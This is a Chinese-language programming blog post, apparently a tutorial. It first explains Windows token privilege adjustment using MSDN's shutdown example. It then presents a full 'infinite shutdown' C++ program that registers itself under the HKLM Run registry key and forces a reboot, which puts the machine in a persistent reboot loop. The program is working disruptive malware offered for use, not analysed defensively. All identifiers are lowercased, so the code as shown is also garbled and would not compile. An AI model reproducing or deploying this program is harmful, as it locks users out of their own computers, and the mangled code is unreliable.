在windows系统中,当涉及本进程去操作其他进程,或者要用shutdown这些高危命令的时候就涉及提权,下面是msdn的列子
提权三兄弟
openprocesstoken
lookupprivilegevalue
adjusttokenprivileges
我们用下面这个msdn的代码来做一个注册表无限关机的列子
#include <windows.h>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "advapi32.lib")
bool mysystemshutdown()
{
handle htoken;
token_privileges tkp;
// get a token for this process.
if (!openprocesstoken(getcurrentprocess(),
token_adjust_privileges | token_query, &htoken))
return( false );
// get the luid for the shutdown privilege.
lookupprivilegevalue(null, se_shutdown_name,
&tkp.privileges[0].luid);
tkp.privilegecount = 1; // one privilege to set
tkp.privileges[0].attributes = se_privilege_enabled;
// get the shutdown privilege for this process.
adjusttokenprivileges(htoken, false, &tkp, 0,
(ptoken_privileges)null, 0);
if (getlasterror() != error_success)
return false;
// shut down the system and force all applications to close.
if (!exitwindowsex(ewx_shutdown | ewx_force,
shtdn_reason_major_operatingsystem |
shtdn_reason_minor_upgrade |
shtdn_reason_flag_planned))
return false;
//shutdown was successful
return true;
}
上面是msdn的代码,下面给出无限关机的代码(含详细注释)
// shutdowndemo.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
bool mysystemshutdown()
{
handle htoken; //用于操作的句柄
token_privileges tkp; //用于存放特定信息
// get a token for this process.
if (!openprocesstoken(getcurrentprocess(),
token_adjust_privileges | token_query, &htoken))
return(false);
// get the luid for the shutdown privilege.
//如果要提权的话要在下面这两个函数提权
lookupprivilegevalue(null, se_shutdown_name,
&tkp.privileges[0].luid);
tkp.privilegecount = 1; // one privilege to set
tkp.privileges[0].attributes = se_privilege_enabled;
// get the shutdown privilege for this process.
adjusttokenprivileges(htoken, false, &tkp, 0,
(ptoken_privileges)null, 0);
if (getlasterror() != error_success)
return false;
// shut down the system and force all applications to close.
if (!exitwindowsex(ewx_reboot| ewx_force,
shtdn_reason_major_operatingsystem |
shtdn_reason_minor_upgrade |
shtdn_reason_flag_planned))
return false;
//shutdown was successful
return true;
}
int _tmain(int argc, _tchar* argv[])
{
getchar();
hkey hkey = { 0 };
/*long regopenkeyex(
hkey hkey, // 需要打开的主键的名称
lpctstr lpsubkey, //需要打开的子键的名称
dword uloptions, // 保留,设为0
regsam samdesired, // 安全访问标记,也就是权限
phkey phkresult // 得到的将要打开键的句柄
)*/
regopenkeyexa(hkey_local_machine,"software\\microsoft\\windows\\currentversion\\run",0,key_write,&hkey); //打开一个指定的注册表键
char path[max_path] = { 0 };
getmodulefilenamea(nullptr, path, max_path); //获取当前文件路径
regsetvalueex(hkey, "shutdown", 0, reg_sz, (byte*)path, strlen(path));
mysystemshutdown();
return 0;
}
如果出现下面问题
请修改字符集如下
下面看看运行结果!
以上就是 c/c++无限关机(提权例子)的内容。